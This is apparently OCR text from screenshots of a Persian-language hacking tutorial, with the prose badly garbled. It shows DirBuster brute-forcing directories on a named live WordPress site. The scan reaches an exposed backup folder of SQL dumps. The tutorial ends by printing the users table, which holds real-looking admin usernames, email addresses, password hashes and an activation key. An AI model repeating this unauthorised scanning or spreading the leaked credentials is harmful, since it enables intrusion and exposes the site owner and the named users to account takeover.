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File Edit

View Terminal

~ v x dirbuster - File Browser

File Edit View Go Bookmarks Help

@an C°*

Personal =
= root
@ Desktop
&2, Trash
Devices -
. File System
—_ Floppy Drive
Network -

B pentest

DirBuster-0.12.jar

web dirbuster I[ib

# apa
-
# Cop
£

apache-user-enum-
1.0.txt

# dir
#
# Cop
#

directory-list-1.0.txt

root@bt: /pentest/web/dirbuster
Help

# apa
2
# Cop
£

apache-user-enum-
2.0.txt

# dir
=
# Cop
#

directory-list-2.3-

big.txt
il Entire network
# dir # dir # dir
F # &
# Cop # Cop # Cop
# # #
directory-list-2.3- directory-list-2.3- directory-list-
medium.txt small.txt lowercase-2.3-big.
txt
# dir # dir 484.p
# # 484.p
# Cop # Cop 464 .p
£ - LICEN
directory-list- directory-list- file joom.txt
lowercase-2.3- lowercase-2.3-
medium.txt small.txt
publi ) .
13 items, Free space: 192.0 MB
e —

Java -jar DirBuster-0.12.jar

oiSan Lol 1y b pls 380 )




~ v % root@bt: /pentest/web/dirbuster
File Edit View Terminal Help

_ :/pentest/web/dirbuster# java -jar DirBuster-0.12.jar
Starting OWASP DirBuster 0.12

0295 0 93 0 9y 1) SBIS Jase b

'~ v x OWASP DirBuster 0.12 - Web Appii;:?tign Brute Forcing
| File Options About Help

Target URL (eg http:/fexample.com:80/)

[

Work Method () Use GET requests o... (%) Auto Switch (HEAD and GET)
Number Of Threads (7} 1 10 Threads [ |Go Faster
Select scanning type: (3) List based brute force () Pure Brute Force

File with list of dirs/files

l @\, Browse l @ List Info
Select starting options: (») Standard start point () URL Fuz
V| Brute Force Dirs [v| Be Recursive Dir to start with ‘l‘l
V] Brute Force Files [ ]Use Blank Extention File extention [php
| Sleda | [ D start |

Please complete the test details

dolp a0 CSH6 318 Jgl Cowd




http://site.com

http://www.easy-family-boating-recipes.com

by )1 dgie Ll pgd Cinnd

1) use Get request
2) Auto Switch (Get and Head)
3) Number Of threads

Get b Cuwlgs o) oolatal (1

o) o eSus slgiics) Head g Get 5395 =ilg3 3 oslatul (2
(4o oolatul 0o b ils3 93 1 Oo= uaS oolatwl diysS
(W 51,8 100 g9, ) Ylgs Ceepw (3
G930 Gy S O30 J13 pow Cood
1) List based Brute force

2) Pure Brute force
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ile Edit View Go Bookmarks Help

D & ® B pentest web dirbuster lib
Personal = # apa # apa
# #
ls root ‘ # Cop # Cop
- 2
@ Deskto -
= P lib apache-user-enum- apache-user-enum-
& Trash 1.0.txt 2.0.txt
Devices -
> # dir # dir
o File System : Cop . Cop
Ldot. | : ¢

— Floppy Drive

DirBuster-0.12.jar
Network - e J

big.txt
[isl Entire network
# dir # dir # dir
- ¢ 2
# Cop # Cop # Cop
B # £
directory-list-2.3- directory-list-2.3- directory-list-
medium.txt small.txt lowercase-2.3-big.
txt
# dir # dir 464.p
2 2 404.p
# Cop # Cop 464.p
# - LICEX
directory-list- directory-list- file joom.txt
lowercase-2.3- lowercase-2.3-
medium.txt small.txt
publi

directory-list-1.0.txt

directory-list-2.3-

12 tarme Cros enn

0315 )13 deliy 3o (2)8 Ll Wygo 4 aS) Cewdd l oolatul (2
( Cw] 0L
&9, Glp daliy OUSL) Olscd] (a)l.e,y Caoud
1)standard start point
1/1) Brute force dirs

1/2) Brute force files
1/3) Be recursive




1/4) Use Blank Extention
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2) url fuzz
a§ 0 )9 QS.«J Sy C;SJB slgs) 5o &S Cowl bl ft’
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Option/option advanced / http option
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File Options About

Help

Target URL (eg http://example.com:80/)

http:/fwww. easy-family-boating-recipes.com/

(

Work Method

() Use GET requests 0... () Auto Switch (HEAD and GET) 4'/

Number Of Threads ¢

——

) 100 Thre...

[ ] Go Faster

Select scanning type:
File with list of dirs/files

\i?based brute force () Pure Brute Force

/pentest/web/dirbuster/directory-list-lowercase-2.3-small.txt

/ | | @ Browse | [ @ List Info I

V‘ Min length 11 ‘ Max Length ‘If ‘

Select starting options:
Brute Force Dirs

Brute Force Files

URL to fuzz -

Standard start point
Be Recursive

[ ]use Blank Extention

test. html?url={dir}.asp

() URL Fuz

Dir to start with l/

File extention lphp

!

“See

.~

| & exit

Please complete the test details

File Options About Help

‘m

e U9y Colw Uy 893 1 0299 03,5 Ll &S |y elwl Cwd

LS

List View | Tree View |

http:/fwww. easy-family-boating-recipes.com: 80/

Type | Found Response Size | Include ‘ Status |
Dir 6/ 508 8507 V] Waiting =
Dir /30/ 508 8507 v Waiting 7
Dir /docs/ 508 8507 V] Waiting u
Dir fmisc/ 508 8507 V] Waiting
Dir finfof 508 8507 V] Waiting
Dir fhtmlf 508 8507 V] Waiting
Dir 12004/ 508 8507 V] Waiting
Dir ficons/ 508 8507 V] Waiting
Dir Jprofile/ 508 8507 v] Waiting
Dir 115/ 508 8507 V] Waiting
Dir fresources/ 508 8507 V] Waiting
Dir ! 508 8507 VI Scanning
Dir Jcategory/ 508 8507 V] Waiting | |
Dir 14/ 508 8507 VI Waiting B

Current speed: 14 requests/sec

Parse Queue Size: 0
Total Requests: 1969/125881173

Time To Finish: 291 Days

Average speed: (T) 6, (C) S requests/sec

(Select and right click for more options)

Current number of running threads: 100
‘ I Change]

‘ @ 0l Pause J [

k

[ Stop J

Brute forceing dirs in /

Jcharter/
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File Options About Help

http:/fwww. easy-family-boating-recipes.com: 80/

List View ' Tree View |

Directory Stucture I Responce Code Responce Size \
®-03 07 508 8507 =
@3 products 508 8507 &
-3 keygen 508 8507
@03 2 508 8507
@03 05 508 8507
@3 archive 508 8507
@-03 03 508 8507
®=-C3 04 508 8507
-3 events 508 8507
®-(J templates 508 8507
&-C3 media 508 8507
@-C3 main 508 8507 -

Current speed: 2 requests/sec
Average speed: (T) 6, (C) 3 requests/sec

Parse Queue Size: 0
Total Requests: 2265/142534713

Time To Finish: 549 Days

(Select and right click for more options)

Current number of running threads: 100
|| change |

I

| <@Bac \[ 00 Pause

[] Stop

Brute forceing dirs in /
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* OWASP DirBuster 0.12 - Web Application Brute Forcing

File Options About Help
http: ffwww. easy-family-boating-recipes.com: 80/
[List View]', Tree view
Type I Found [Response] Size Include ] Status |

Error f11856/f-33/ 59 e Return code for =
Error fll8S6foverseas/ 59 Ll Return code for
Error f11856/6265/ 59 [e] Return code for
Error fll18ss6fperlly 59 jue] Return code for =
Error f11856/f-29/ 59 J) Return code for
Error f11856/-sigf 59 j] Return code for
Error fll8ss6/metsawhoiss 59 [) Return code for
Error f1185S6fucs/ 59 Ll Return code for
Error f11856/f-40/ 59 J) Return code for
Error f11856/f-20/ 59 jue] Return code for
Error f11856fwp-content/ 59 Ll Return code for
Error fll85S6/betanews/ 59 jue] Return code for
Error 11856/ wmst/ 59 Je) Return code for
Error f118S6/krps 59 ] Return code for ~
Current speed: O requestsfsec ({Select and right click for more options)
Average speed: (T) 13, (C) O requests/sec
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* OWASP DirBuster 0.12 - Web Application Brute Forcing

File Options About Help

http:/fwww. easy-family-boating-recipes.com: 80/

List View | Tree View |

Type Found |Response|  Size | Include | Status

ile Jfwp-content/uploads/wp-backup-plusjtemp/c... 200 2445 ¥ a
Dir Jwp-content/uploads/wp-backup-plusjftemp/ 200 4116 ™ Waiting m
File fwp-content/uploads/wp-backup-plus/temp/c... 200 1034 F]
Error fwp-content/uploads/wp-backup-plus/temp/%p: 159 "] lllegalArgumentExc
File fwp-content/uploadsjwp-backup-plus/temp/c... 200 8367 il
Error fwp-content/uploadsfwp-backup-plus/temp/%tz 153 il lllegalArgumentExc
File fwp-content/uploads/wp-backup-plusjtemp/c... 200 23465 "]
Error fwp-content/uploads/wp-backup-plus/temp/\"% 178 ] lllegalArgumentExc
File fwp-content/uploads/wp-backup-plus/temp/c... 200 2673 ]
Error fwp-content/uploadsfwp-backup-plus/temp/%P: 153 : lllegalArgumentExc
File fwp-content/uploadsjwp-backup-plus/temp/c... 200 1372 il
File fwp-content/uploads/wp-backup-plus/temp/c... 200 9775 ]
Error fwp-content/uploads/wp-backup-plus/temp/%PI 154 : lNlegalArgumentExc
Error fwp-content/uploads/wp-backup-plusftemp/[mz 168 ] lllegalArgumentExd_

Cowd 3o |y wp-content g W gt |y des (o

Dir to start with

LS Sgp ywp-content J15 Ly gy985 00 B @..S.:,a asls!

File Options About Help

Target URL (eg http:/fexample.com:80/)

http:/fwww. easy-family-boating-recipes.com

Work Method () Use GET requests o... (&) Auto Switch (HEAD and GET)
Number Of Threads =G> 10 Threads | Go Faster
Select scanning type: (&) List based brute force ¢ ) Pure Brute Force
File with list of dirs/files
/pentestisweb/sdirbuster/directory-list-lowercase-2. 3-small.tx=t | [Ei Browse] [ @ List info |
= z ~] ™Min lengtt 1 Max Length [s
Select starting options: (&) sStandard start point C O URL Fuz==
Brute Force Dirs Be Recursive Dir to start with [fwp-contents
[\“] Brute Force Files [l uUse Blank Extention File extention [php
1 e -
[ =l exit [ = start

DirBuster Stopped swp-content/uploads/201 2/06/rfc1945S.php




399 533 4o Lwp-content (§355 18 53 Wiy

%X OWASP DirBuster 0.12 - Web Application Brute Forcing

File Options About Help

http:/fwww. easy-family-boating-recipes.com:80/

List View " Tree View |

Directory Stucture | Responce Code Responce Size

=& M "
== wp-content 200 213
=& uploads 200 788
@03 2011 200 749

-3 2012 200 782

-3 2013 200 881

-3 2014 200 716

= @ wp-backup-plus 200 542
&3 headers 200 2151
&3 wp-backup-plus-backup200 521

oo 1y b Sl B pgy (8 395 55950 30 YU pwydl 4y e Yo

<] Wed Jul 30, I1:58 AM

% Index of /wp-content/uploads - Mozilla Firefox

Edit View History Bookmarks Tools Help
Install BackTrack

ndex of /wp-content/uploads

| ® | @ www.easy-family-boating-recip v & | [*8 v hacked by iliya norton

B BackTrack Linux [fjoffensive Security ENExploit-DB Yy Aircrack-ng g SomaFM

Index of /wp-content/uploads

o headers/
o wp-backup-plus-backups/
o wp-backup-plus/

1

side or pres; Ctrl+G.
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X OWASP DirBuster 0.12 - Web Application Brute Forcing

File Options About Help

http:/fwww. easy-family-boating-recipes.com:80/wp-content/uploads/

List View ' Tree View |

Directory Stucture | Responce Code l Responce Size ]
F-L0 Uploadas ZUU Fa-1-1 T~
{3 uploads 200 788 [
=l wp-content 77?7 77
=& uploads 777 777
=& wp-backup-plus 777 77
= temp 777 77?7
“-[ cnb24p_custom200 2355
[ cnb24p_custom200 2029
[ cnb24p_custom200 2879
<[] cnb24p_custom200 623
[ cnb24p_defensiz00 704
[} cnb24p_feedfoc200 952
[ enb24p_links.sc200 1092 v

File Edit View History Bookmarks Tools Help

a v G it ‘@ http://www.easy-family-boating-recipes.com/wp-content/uploads/wp-backup-plus/temp/ 7 ‘v| |v Qg|

Most Visitedv 4 Getting Started [5]Latest Headlinesv

‘Eindexof:"wpbackupplus" si... @ ‘@ Index of /wp-content/upload... & ‘
Index of /wp-content/uploads/wp-backup-plus/temp

» Parent Directory
« cnb24p backup.sql
e cnb24p bwps lockouts.sql
e cnb24p bwps log.sql
s cnb24p commentmeta.sql
e cnb24p comments.sql
e cnb24p customcontactforms field options.sgl
e cnb24p customcontactforms fields.sql L
» cnb24p_customcontactforms forms.sql B 1
e cnb24p customcontactforms styles.sql
e cnb24p customcontactforms user data.sql
« cnb24p_defensio.sql
» cnb24p feedfooter rss map.sql
« cnb24p links.sql
« cnb24p options.sql
» cnb24p pollsa.sql
« cnb24p _pollsip.sgl
« cnb24p pollsq.sql
e cnb24p postmeta.sql | |
« cnb24p posts.sql
e cnb24p term relationships.sql
e cnb24p term taxonomy.sql
e cnb24p terms.sql
« cnb24p usermeta.sql
Al " [>
Done

|E\ | @ [Mozilla Firefox] || @ Index of wp-contentju... | E:‘é

[

BB 4 05,5 G b Culw O punlys dudirbuster b eiusgs b
oS 14 wstws cnb24p_users.sql




«3 Applications Places System E@ (- [# «
= - . —

(& no Kto t ==
File Edit View Search Tools Documents Help

D &8 . 80 = B & &

New Open Save | Print... t Paste | Find Replace

[ cnb24p_users.sql & |

DROP TABLE IF EXISTS "cnb24p users ;
CREATE TABLE cnb24p users’ (
ID" bigint(20) unsigned NOT NULL AUTO INCREMENT,
user login’ varchar(60) NOT NULL DEFAULT '',
user pass varchar(64) NOT NULL DEFAULT ‘',
user nicename’ varchar(56) NOT NULL DEFAULT 5
user email”™ varchar(100) NOT NULL DEFAULT ‘',
user url’ varchar(100) NOT NULL DEFAULT
‘user registered’ datetime NOT NULL DEFAULT '0000-00-00 00:00:00°,
user activation key  varchar(60) NOT NULL DEFAULT '',
user status’ int(11) NOT NULL DEFAULT '@',
display name’ varchar(250) NOT NULL DEFAULT '°',
PRIMARY KEY ('ID'),
KEY ‘user login key' ('user login’),
KEY ‘user nicename’ (' user nicename’)
) ENGINE=MyISAM AUTO INCREMENT=4 DEFAULT CHARSET=utf8;

INSERT INTO ‘cnb24p users’ VALUES('l', ‘'Bruceadmin', ‘$P$BTEylr5p8eoZ9uNmrlYA48cIJb7ZBX1', 'bruceadmin', 'bruce@cruising.bc.ca’,
‘http://www.cruising.bc.ca', '2011-01-13 16:29:56', 'PAiSuXFJ22T5vPOhSdlH', '©', 'Bruceadmin'),('3', ‘'blackpurse', 'SP
$BgcihoFzwXL3Z4izEukI5PiuzgXv/i.', ‘blackpurse', 'fjstott@telus.net', '', '2013-06-06 22:25:34', '', '0', 'Fran')

User And Password admin
Username : Bruceadmin
Password : $P$BTEylr5p8eoZ9uNmrlYA48cIJb7ZBX1
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